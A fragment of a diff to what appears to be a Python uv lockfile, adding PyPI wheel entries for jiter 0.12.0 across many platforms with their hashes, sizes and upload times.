+ { url = "https://files.pythonhosted.org/packages/24/6d/1970bce1351bd02e3afcc5f49e4f7ef3dabd7fb688f42be7e8091a5b809a/jiter-0.12.0-cp310-cp310-win32.whl", hash = "sha256:b6ae2aec8217327d872cbfb2c1694489057b9433afce447955763e6ab015b4c4", size = 206368, upload-time = "2025-11-09T20:46:58.638Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/6b/eb1eb505b2d86709b59ec06681a2b14a94d0941db091f044b9f0e16badc0/jiter-0.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:c7f49ce90a71e44f7e1aa9e7ec415b9686bbc6a5961e57eab511015e6759bc11", size = 204847, upload-time = "2025-11-09T20:47:00.295Z" },
+ { url = "https://files.pythonhosted.org/packages/32/f9/eaca4633486b527ebe7e681c431f529b63fe2709e7c5242fc0f43f77ce63/jiter-0.12.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:d8f8a7e317190b2c2d60eb2e8aa835270b008139562d70fe732e1c0020ec53c9", size = 316435, upload-time = "2025-11-09T20:47:02.087Z" },
+ { url = "https://files.pythonhosted.org/packages/10/c1/40c9f7c22f5e6ff715f28113ebaba27ab85f9af2660ad6e1dd6425d14c19/jiter-0.12.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2218228a077e784c6c8f1a8e5d6b8cb1dea62ce25811c356364848554b2056cd", size = 320548, upload-time = "2025-11-09T20:47:03.409Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/1b/efbb68fe87e7711b00d2cfd1f26bb4bfc25a10539aefeaa7727329ffb9cb/jiter-0.12.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9354ccaa2982bf2188fd5f57f79f800ef622ec67beb8329903abf6b10da7d423", size = 351915, upload-time = "2025-11-09T20:47:05.171Z" },
+ { url = "https://files.pythonhosted.org/packages/15/2d/c06e659888c128ad1e838123d0638f0efad90cc30860cb5f74dd3f2fc0b3/jiter-0.12.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8f2607185ea89b4af9a604d4c7ec40e45d3ad03ee66998b031134bc510232bb7", size = 368966, upload-time = "2025-11-09T20:47:06.508Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/20/058db4ae5fb07cf6a4ab2e9b9294416f606d8e467fb74c2184b2a1eeacba/jiter-0.12.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3a585a5e42d25f2e71db5f10b171f5e5ea641d3aa44f7df745aa965606111cc2", size = 482047, upload-time = "2025-11-09T20:47:08.382Z" },
+ { url = "https://files.pythonhosted.org/packages/49/bb/dc2b1c122275e1de2eb12905015d61e8316b2f888bdaac34221c301495d6/jiter-0.12.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd9e21d34edff5a663c631f850edcb786719c960ce887a5661e9c828a53a95d9", size = 380835, upload-time = "2025-11-09T20:47:09.81Z" },
+ { url = "https://files.pythonhosted.org/packages/23/7d/38f9cd337575349de16da575ee57ddb2d5a64d425c9367f5ef9e4612e32e/jiter-0.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4a612534770470686cd5431478dc5a1b660eceb410abade6b1b74e320ca98de6", size = 364587, upload-time = "2025-11-09T20:47:11.529Z" },
+ { url = "https://files.pythonhosted.org/packages/f0/a3/b13e8e61e70f0bb06085099c4e2462647f53cc2ca97614f7fedcaa2bb9f3/jiter-0.12.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:3985aea37d40a908f887b34d05111e0aae822943796ebf8338877fee2ab67725", size = 390492, upload-time = "2025-11-09T20:47:12.993Z" },
+ { url = "https://files.pythonhosted.org/packages/07/71/e0d11422ed027e21422f7bc1883c61deba2d9752b720538430c1deadfbca/jiter-0.12.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b1207af186495f48f72529f8d86671903c8c10127cac6381b11dddc4aaa52df6", size = 522046, upload-time = "2025-11-09T20:47:14.6Z" },
+ { url = "https://files.pythonhosted.org/packages/9f/59/b968a9aa7102a8375dbbdfbd2aeebe563c7e5dddf0f47c9ef1588a97e224/jiter-0.12.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:ef2fb241de583934c9915a33120ecc06d94aa3381a134570f59eed784e87001e", size = 513392, upload-time = "2025-11-09T20:47:16.011Z" },
+ { url = "https://files.pythonhosted.org/packages/ca/e4/7df62002499080dbd61b505c5cb351aa09e9959d176cac2aa8da6f93b13b/jiter-0.12.0-cp311-cp311-win32.whl", hash = "sha256:453b6035672fecce8007465896a25b28a6b59cfe8fbc974b2563a92f5a92a67c", size = 206096, upload-time = "2025-11-09T20:47:17.344Z" },
+ { url = "https://files.pythonhosted.org/packages/bb/60/1032b30ae0572196b0de0e87dce3b6c26a1eff71aad5fe43dee3082d32e0/jiter-0.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:ca264b9603973c2ad9435c71a8ec8b49f8f715ab5ba421c85a51cde9887e421f", size = 204899, upload-time = "2025-11-09T20:47:19.365Z" },
+ { url = "https://files.pythonhosted.org/packages/49/d5/c145e526fccdb834063fb45c071df78b0cc426bbaf6de38b0781f45d956f/jiter-0.12.0-cp311-cp311-win_arm64.whl", hash = "sha256:cb00ef392e7d684f2754598c02c409f376ddcef857aae796d559e6cacc2d78a5", size = 188070, upload-time = "2025-11-09T20:47:20.75Z" },
+ { url = "https://files.pythonhosted.org/packages/92/c9/5b9f7b4983f1b542c64e84165075335e8a236fa9e2ea03a0c79780062be8/jiter-0.12.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:305e061fa82f4680607a775b2e8e0bcb071cd2205ac38e6ef48c8dd5ebe1cf37", size = 314449, upload-time = "2025-11-09T20:47:22.999Z" },
+ { url = "https://files.pythonhosted.org/packages/98/6e/e8efa0e78de00db0aee82c0cf9e8b3f2027efd7f8a71f859d8f4be8e98ef/jiter-0.12.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5c1860627048e302a528333c9307c818c547f214d8659b0705d2195e1a94b274", size = 319855, upload-time = "2025-11-09T20:47:24.779Z" },
+ { url = "https://files.pythonhosted.org/packages/20/26/894cd88e60b5d58af53bec5c6759d1292bd0b37a8b5f60f07abf7a63ae5f/jiter-0.12.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:df37577a4f8408f7e0ec3205d2a8f87672af8f17008358063a4d6425b6081ce3", size = 350171, upload-time = "2025-11-09T20:47:26.469Z" },
+ { url = "https://files.pythonhosted.org/packages/f5/27/a7b818b9979ac31b3763d25f3653ec3a954044d5e9f5d87f2f247d679fd1/jiter-0.12.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:75fdd787356c1c13a4f40b43c2156276ef7a71eb487d98472476476d803fb2cf", size = 365590, upload-time = "2025-11-09T20:47:27.918Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/7e/e46195801a97673a83746170b17984aa8ac4a455746354516d02ca5541b4/jiter-0.12.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1eb5db8d9c65b112aacf14fcd0faae9913d07a8afea5ed06ccdd12b724e966a1", size = 479462, upload-time = "2025-11-09T20:47:29.654Z" },
+ { url = "https://files.pythonhosted.org/packages/ca/75/f833bfb009ab4bd11b1c9406d333e3b4357709ed0570bb48c7c06d78c7dd/jiter-0.12.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:73c568cc27c473f82480abc15d1301adf333a7ea4f2e813d6a2c7d8b6ba8d0df", size = 378983, upload-time = "2025-11-09T20:47:31.026Z" },
+ { url = "https://files.pythonhosted.org/packages/71/b3/7a69d77943cc837d30165643db753471aff5df39692d598da880a6e51c24/jiter-0.12.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4321e8a3d868919bcb1abb1db550d41f2b5b326f72df29e53b2df8b006eb9403", size = 361328, upload-time = "2025-11-09T20:47:33.286Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/ac/a78f90caf48d65ba70d8c6efc6f23150bc39dc3389d65bbec2a95c7bc628/jiter-0.12.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:0a51bad79f8cc9cac2b4b705039f814049142e0050f30d91695a2d9a6611f126", size = 386740, upload-time = "2025-11-09T20:47:34.703Z" },
+ { url = "https://files.pythonhosted.org/packages/39/b6/5d31c2cc8e1b6a6bcf3c5721e4ca0a3633d1ab4754b09bc7084f6c4f5327/jiter-0.12.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:2a67b678f6a5f1dd6c36d642d7db83e456bc8b104788262aaefc11a22339f5a9", size = 520875, upload-time = "2025-11-09T20:47:36.058Z" },
+ { url = "https://files.pythonhosted.org/packages/30/b5/4df540fae4e9f68c54b8dab004bd8c943a752f0b00efd6e7d64aa3850339/jiter-0.12.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:efe1a211fe1fd14762adea941e3cfd6c611a136e28da6c39272dbb7a1bbe6a86", size = 511457, upload-time = "2025-11-09T20:47:37.932Z" },
+ { url = "https://files.pythonhosted.org/packages/07/65/86b74010e450a1a77b2c1aabb91d4a91dd3cd5afce99f34d75fd1ac64b19/jiter-0.12.0-cp312-cp312-win32.whl", hash = "sha256:d779d97c834b4278276ec703dc3fc1735fca50af63eb7262f05bdb4e62203d44", size = 204546, upload-time = "2025-11-09T20:47:40.47Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/c7/6659f537f9562d963488e3e55573498a442503ced01f7e169e96a6110383/jiter-0.12.0-cp312-cp312-win_amd64.whl", hash = "sha256:e8269062060212b373316fe69236096aaf4c49022d267c6736eebd66bbbc60bb", size = 205196, upload-time = "2025-11-09T20:47:41.794Z" },
+ { url = "https://files.pythonhosted.org/packages/21/f4/935304f5169edadfec7f9c01eacbce4c90bb9a82035ac1de1f3bd2d40be6/jiter-0.12.0-cp312-cp312-win_arm64.whl", hash = "sha256:06cb970936c65de926d648af0ed3d21857f026b1cf5525cb2947aa5e01e05789", size = 186100, upload-time = "2025-11-09T20:47:43.007Z" },
+ { url = "https://files.pythonhosted.org/packages/3d/a6/97209693b177716e22576ee1161674d1d58029eb178e01866a0422b69224/jiter-0.12.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:6cc49d5130a14b732e0612bc76ae8db3b49898732223ef8b7599aa8d9810683e", size = 313658, upload-time = "2025-11-09T20:47:44.424Z" },
+ { url = "https://files.pythonhosted.org/packages/06/4d/125c5c1537c7d8ee73ad3d530a442d6c619714b95027143f1b61c0b4dfe0/jiter-0.12.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:37f27a32ce36364d2fa4f7fdc507279db604d27d239ea2e044c8f148410defe1", size = 318605, upload-time = "2025-11-09T20:47:45.973Z" },
+ { url = "https://files.pythonhosted.org/packages/99/bf/a840b89847885064c41a5f52de6e312e91fa84a520848ee56c97e4fa0205/jiter-0.12.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbc0944aa3d4b4773e348cda635252824a78f4ba44328e042ef1ff3f6080d1cf", size = 349803, upload-time = "2025-11-09T20:47:47.535Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/88/e63441c28e0db50e305ae23e19c1d8fae012d78ed55365da392c1f34b09c/jiter-0.12.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:da25c62d4ee1ffbacb97fac6dfe4dcd6759ebdc9015991e92a6eae5816287f44", size = 365120, upload-time = "2025-11-09T20:47:49.284Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/7c/49b02714af4343970eb8aca63396bc1c82fa01197dbb1e9b0d274b550d4e/jiter-0.12.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:048485c654b838140b007390b8182ba9774621103bd4d77c9c3f6f117474ba45", size = 479918, upload-time = "2025-11-09T20:47:50.807Z" },
+ { url = "https://files.pythonhosted.org/packages/69/ba/0a809817fdd5a1db80490b9150645f3aae16afad166960bcd562be194f3b/jiter-0.12.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:635e737fbb7315bef0037c19b88b799143d2d7d3507e61a76751025226b3ac87", size = 379008, upload-time = "2025-11-09T20:47:52.211Z" },
+ { url = "https://files.pythonhosted.org/packages/5f/c3/c9fc0232e736c8877d9e6d83d6eeb0ba4e90c6c073835cc2e8f73fdeef51/jiter-0.12.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e017c417b1ebda911bd13b1e40612704b1f5420e30695112efdbed8a4b389ed", size = 361785, upload-time = "2025-11-09T20:47:53.512Z" },
+ { url = "https://files.pythonhosted.org/packages/96/61/61f69b7e442e97ca6cd53086ddc1cf59fb830549bc72c0a293713a60c525/jiter-0.12.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:89b0bfb8b2bf2351fba36bb211ef8bfceba73ef58e7f0c68fb67b5a2795ca2f9", size = 386108, upload-time = "2025-11-09T20:47:54.893Z" },
+ { url = "https://files.pythonhosted.org/packages/e9/2e/76bb3332f28550c8f1eba3bf6e5efe211efda0ddbbaf24976bc7078d42a5/jiter-0.12.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:f5aa5427a629a824a543672778c9ce0c5e556550d1569bb6ea28a85015287626", size = 519937, upload-time = "2025-11-09T20:47:56.253Z" },
+ { url = "https://files.pythonhosted.org/packages/84/d6/fa96efa87dc8bff2094fb947f51f66368fa56d8d4fc9e77b25d7fbb23375/jiter-0.12.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:ed53b3d6acbcb0fd0b90f20c7cb3b24c357fe82a3518934d4edfa8c6898e498c", size = 510853, upload-time = "2025-11-09T20:47:58.32Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/28/93f67fdb4d5904a708119a6ab58a8f1ec226ff10a94a282e0215402a8462/jiter-0.12.0-cp313-cp313-win32.whl", hash = "sha256:4747de73d6b8c78f2e253a2787930f4fffc68da7fa319739f57437f95963c4de", size = 204699, upload-time = "2025-11-09T20:47:59.686Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/1f/30b0eb087045a0abe2a5c9c0c0c8da110875a1d3be83afd4a9a4e548be3c/jiter-0.12.0-cp313-cp313-win_amd64.whl", hash = "sha256:e25012eb0c456fcc13354255d0338cd5397cce26c77b2832b3c4e2e255ea5d9a", size = 204258, upload-time = "2025-11-09T20:48:01.01Z" },
+ { url = "https://files.pythonhosted.org/packages/2c/f4/2b4daf99b96bce6fc47971890b14b2a36aef88d7beb9f057fafa032c6141/jiter-0.12.0-cp313-cp313-win_arm64.whl", hash = "sha256:c97b92c54fe6110138c872add030a1f99aea2401ddcdaa21edf74705a646dd60", size = 185503, upload-time = "2025-11-09T20:48:02.35Z" },
+ { url = "https://files.pythonhosted.org/packages/39/ca/67bb15a7061d6fe20b9b2a2fd783e296a1e0f93468252c093481a2f00efa/jiter-0.12.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:53839b35a38f56b8be26a7851a48b89bc47e5d88e900929df10ed93b95fea3d6", size = 317965, upload-time = "2025-11-09T20:48:03.783Z" },
+ { url = "https://files.pythonhosted.org/packages/18/af/1788031cd22e29c3b14bc6ca80b16a39a0b10e611367ffd480c06a259831/jiter-0.12.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:94f669548e55c91ab47fef8bddd9c954dab1938644e715ea49d7e117015110a4", size = 345831, upload-time = "2025-11-09T20:48:05.55Z" },
+ { url = "https://files.pythonhosted.org/packages/05/17/710bf8472d1dff0d3caf4ced6031060091c1320f84ee7d5dcbed1f352417/jiter-0.12.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:351d54f2b09a41600ffea43d081522d792e81dcfb915f6d2d242744c1cc48beb", size = 361272, upload-time = "2025-11-09T20:48:06.951Z" },
+ { url = "https://files.pythonhosted.org/packages/fb/f1/1dcc4618b59761fef92d10bcbb0b038b5160be653b003651566a185f1a5c/jiter-0.12.0-cp313-cp313t-win_amd64.whl", hash = "sha256:2a5e90604620f94bf62264e7c2c038704d38217b7465b863896c6d7c902b06c7", size = 204604, upload-time = "2025-11-09T20:48:08.328Z" },
+ { url = "https://files.pythonhosted.org/packages/d9/32/63cb1d9f1c5c6632a783c0052cde9ef7ba82688f7065e2f0d5f10a7e3edb/jiter-0.12.0-cp313-cp313t-win_arm64.whl", hash = "sha256:88ef757017e78d2860f96250f9393b7b577b06a956ad102c29c8237554380db3", size = 185628, upload-time = "2025-11-09T20:48:09.572Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/99/45c9f0dbe4a1416b2b9a8a6d1236459540f43d7fb8883cff769a8db0612d/jiter-0.12.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:c46d927acd09c67a9fb1416df45c5a04c27e83aae969267e98fba35b74e99525", size = 312478, upload-time = "2025-11-09T20:48:10.898Z" },
+ { url = "https://files.pythonhosted.org/packages/4c/a7/54ae75613ba9e0f55fcb0bc5d1f807823b5167cc944e9333ff322e9f07dd/jiter-0.12.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:774ff60b27a84a85b27b88cd5583899c59940bcc126caca97eb2a9df6aa00c49", size = 318706, upload-time = "2025-11-09T20:48:12.266Z" },
+ { url = "https://files.pythonhosted.org/packages/59/31/2aa241ad2c10774baf6c37f8b8e1f39c07db358f1329f4eb40eba179c2a2/jiter-0.12.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5433fab222fb072237df3f637d01b81f040a07dcac1cb4a5c75c7aa9ed0bef1", size = 351894, upload-time = "2025-11-09T20:48:13.673Z" },
+ { url = "https://files.pythonhosted.org/packages/54/4f/0f2759522719133a9042781b18cc94e335b6d290f5e2d3e6899d6af933e3/jiter-0.12.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f8c593c6e71c07866ec6bfb790e202a833eeec885022296aff6b9e0b92d6a70e", size = 365714, upload-time = "2025-11-09T20:48:15.083Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/6f/806b895f476582c62a2f52c453151edd8a0fde5411b0497baaa41018e878/jiter-0.12.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:90d32894d4c6877a87ae00c6b915b609406819dce8bc0d4e962e4de2784e567e", size = 478989, upload-time = "2025-11-09T20:48:16.706Z" },
+ { url = "https://files.pythonhosted.org/packages/86/6c/012d894dc6e1033acd8db2b8346add33e413ec1c7c002598915278a37f79/jiter-0.12.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:798e46eed9eb10c3adbbacbd3bdb5ecd4cf7064e453d00dbef08802dae6937ff", size = 378615, upload-time = "2025-11-09T20:48:18.614Z" },
+ { url = "https://files.pythonhosted.org/packages/87/30/d718d599f6700163e28e2c71c0bbaf6dace692e7df2592fd793ac9276717/jiter-0.12.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b3f1368f0a6719ea80013a4eb90ba72e75d7ea67cfc7846db2ca504f3df0169a", size = 364745, upload-time = "2025-11-09T20:48:20.117Z" },
+ { url = "https://files.pythonhosted.org/packages/8f/85/315b45ce4b6ddc7d7fceca24068543b02bdc8782942f4ee49d652e2cc89f/jiter-0.12.0-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:65f04a9d0b4406f7e51279710b27484af411896246200e461d80d3ba0caa901a", size = 386502, upload-time = "2025-11-09T20:48:21.543Z" },
+ { url = "https://files.pythonhosted.org/packages/74/0b/ce0434fb40c5b24b368fe81b17074d2840748b4952256bab451b72290a49/jiter-0.12.0-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:fd990541982a24281d12b67a335e44f117e4c6cbad3c3b75c7dea68bf4ce3a67", size = 519845, upload-time = "2025-11-09T20:48:22.964Z" },
+ { url = "https://files.pythonhosted.org/packages/e8/a3/7a7a4488ba052767846b9c916d208b3ed114e3eb670ee984e4c565b9cf0d/jiter-0.12.0-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:b111b0e9152fa7df870ecaebb0bd30240d9f7fff1f2003bcb4ed0f519941820b", size = 510701, upload-time = "2025-11-09T20:48:24.483Z" },
+ { url = "https://files.pythonhosted.org/packages/c3/16/052ffbf9d0467b70af24e30f91e0579e13ded0c17bb4a8eb2aed3cb60131/jiter-0.12.0-cp314-cp314-win32.whl", hash = "sha256:a78befb9cc0a45b5a5a0d537b06f8544c2ebb60d19d02c41ff15da28a9e22d42", size = 205029, upload-time = "2025-11-09T20:48:25.749Z" },
+ { url = "https://files.pythonhosted.org/packages/e4/18/3cf1f3f0ccc789f76b9a754bdb7a6977e5d1d671ee97a9e14f7eb728d80e/jiter-0.12.0-cp314-cp314-win_amd64.whl", hash = "sha256:e1fe01c082f6aafbe5c8faf0ff074f38dfb911d53f07ec333ca03f8f6226debf", size = 204960, upload-time = "2025-11-09T20:48:27.415Z" },
+ { url = "https://files.pythonhosted.org/packages/02/68/736821e52ecfdeeb0f024b8ab01b5a229f6b9293bbdb444c27efade50b0f/jiter-0.12.0-cp314-cp314-win_arm64.whl", hash = "sha256:d72f3b5a432a4c546ea4bedc84cce0c3404874f1d1676260b9c7f048a9855451", size = 185529, upload-time = "2025-11-09T20:48:29.125Z" },
+ { url = "https://files.pythonhosted.org/packages/30/61/12ed8ee7a643cce29ac97c2281f9ce3956eb76b037e88d290f4ed0d41480/jiter-0.12.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:e6ded41aeba3603f9728ed2b6196e4df875348ab97b28fc8afff115ed42ba7a7", size = 318974, upload-time = "2025-11-09T20:48:30.87Z" },
+ { url = "https://files.pythonhosted.org/packages/2d/c6/f3041ede6d0ed5e0e79ff0de4c8f14f401bbf196f2ef3971cdbe5fd08d1d/jiter-0.12.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a947920902420a6ada6ad51892082521978e9dd44a802663b001436e4b771684", size = 345932, upload-time = "2025-11-09T20:48:32.658Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/5d/4d94835889edd01ad0e2dbfc05f7bdfaed46292e7b504a6ac7839aa00edb/jiter-0.12.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:add5e227e0554d3a52cf390a7635edaffdf4f8fce4fdbcef3cc2055bb396a30c", size = 367243, upload-time = "2025-11-09T20:48:34.093Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/76/0051b0ac2816253a99d27baf3dda198663aff882fa6ea7deeb94046da24e/jiter-0.12.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f9b1cda8fcb736250d7e8711d4580ebf004a46771432be0ae4796944b5dfa5d", size = 479315, upload-time = "2025-11-09T20:48:35.507Z" },
+ { url = "https://files.pythonhosted.org/packages/70/ae/83f793acd68e5cb24e483f44f482a1a15601848b9b6f199dacb970098f77/jiter-0.12.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:deeb12a2223fe0135c7ff1356a143d57f95bbf1f4a66584f1fc74df21d86b993", size = 380714, upload-time = "2025-11-09T20:48:40.014Z" },
+ { url = "https://files.pythonhosted.org/packages/b1/5e/4808a88338ad2c228b1126b93fcd8ba145e919e886fe910d578230dabe3b/jiter-0.12.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c596cc0f4cb574877550ce4ecd51f8037469146addd676d7c1a30ebe6391923f", size = 365168, upload-time = "2025-11-09T20:48:41.462Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/d4/04619a9e8095b42aef436b5aeb4c0282b4ff1b27d1db1508df9f5dc82750/jiter-0.12.0-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5ab4c823b216a4aeab3fdbf579c5843165756bd9ad87cc6b1c65919c4715f783", size = 387893, upload-time = "2025-11-09T20:48:42.921Z" },
+ { url = "https://files.pythonhosted.org/packages/17/ea/d3c7e62e4546fdc39197fa4a4315a563a89b95b6d54c0d25373842a59cbe/jiter-0.12.0-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:e427eee51149edf962203ff8db75a7514ab89be5cb623fb9cea1f20b54f1107b", size = 520828, upload-time = "2025-11-09T20:48:44.278Z" },
+ { url = "https://files.pythonhosted.org/packages/cc/0b/c6d3562a03fd767e31cb119d9041ea7958c3c80cb3d753eafb19b3b18349/jiter-0.12.0-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:edb868841f84c111255ba5e80339d386d937ec1fdce419518ce1bd9370fac5b6", size = 511009, upload-time = "2025-11-09T20:48:45.726Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/51/2cb4468b3448a8385ebcd15059d325c9ce67df4e2758d133ab9442b19834/jiter-0.12.0-cp314-cp314t-win32.whl", hash = "sha256:8bbcfe2791dfdb7c5e48baf646d37a6a3dcb5a97a032017741dea9f817dca183", size = 205110, upload-time = "2025-11-09T20:48:47.033Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/c5/ae5ec83dec9c2d1af805fd5fe8f74ebded9c8670c5210ec7820ce0dbeb1e/jiter-0.12.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2fa940963bf02e1d8226027ef461e36af472dea85d36054ff835aeed944dd873", size = 205223, upload-time = "2025-11-09T20:48:49.076Z" },
+ { url = "https://files.pythonhosted.org/packages/97/9a/3c5391907277f0e55195550cf3fa8e293ae9ee0c00fb402fec1e38c0c82f/jiter-0.12.0-cp314-cp314t-win_arm64.whl", hash = "sha256:506c9708dd29b27288f9f8f1140c3cb0e3d8ddb045956d7757b1fa0e0f39a473", size = 185564, upload-time = "2025-11-09T20:48:50.376Z" },
+ { url = "https://files.pythonhosted.org/packages/fe/54/5339ef1ecaa881c6948669956567a64d2670941925f245c434f494ffb0e5/jiter-0.12.0-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:4739a4657179ebf08f85914ce50332495811004cc1747852e8b2041ed2aab9b8", size = 311144, upload-time = "2025-11-09T20:49:10.503Z" },
+ { url = "https://files.pythonhosted.org/packages/27/74/3446c652bffbd5e81ab354e388b1b5fc1d20daac34ee0ed11ff096b1b01a/jiter-0.12.0-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:41da8def934bf7bec16cb24bd33c0ca62126d2d45d81d17b864bd5ad721393c3", size = 305877, upload-time = "2025-11-09T20:49:12.269Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/f4/ed76ef9043450f57aac2d4fbeb27175aa0eb9c38f833be6ef6379b3b9a86/jiter-0.12.0-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9c44ee814f499c082e69872d426b624987dbc5943ab06e9bbaa4f81989fdb79e", size = 340419, upload-time = "2025-11-09T20:49:13.803Z" },
+ { url = "https://files.pythonhosted.org/packages/21/01/857d4608f5edb0664aa791a3d45702e1a5bcfff9934da74035e7b9803846/jiter-0.12.0-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cd2097de91cf03eaa27b3cbdb969addf83f0179c6afc41bbc4513705e013c65d", size = 347212, upload-time = "2025-11-09T20:49:15.643Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/f5/12efb8ada5f5c9edc1d4555fe383c1fb2eac05ac5859258a72d61981d999/jiter-0.12.0-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:e8547883d7b96ef2e5fe22b88f8a4c8725a56e7f4abafff20fd5272d634c7ecb", size = 309974, upload-time = "2025-11-09T20:49:17.187Z" },
+ { url = "https://files.pythonhosted.org/packages/85/15/d6eb3b770f6a0d332675141ab3962fd4a7c270ede3515d9f3583e1d28276/jiter-0.12.0-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:89163163c0934854a668ed783a2546a0617f71706a2551a4a0666d91ab365d6b", size = 304233, upload-time = "2025-11-09T20:49:18.734Z" },
+ { url = "https://files.pythonhosted.org/packages/8c/3e/e7e06743294eea2cf02ced6aa0ff2ad237367394e37a0e2b4a1108c67a36/jiter-0.12.0-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d96b264ab7d34bbb2312dedc47ce07cd53f06835eacbc16dde3761f47c3a9e7f", size = 338537, upload-time = "2025-11-09T20:49:20.317Z" },
+ { url = "https://files.pythonhosted.org/packages/2f/9c/6753e6522b8d0ef07d3a3d239426669e984fb0eba15a315cdbc1253904e4/jiter-0.12.0-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c24e864cb30ab82311c6425655b0cdab0a98c5d973b065c66a3f020740c2324c", size = 346110, upload-time = "2025-11-09T20:49:21.817Z" },
]
[[package]]
@@ -608,12 +927,86 @@ wheels = [
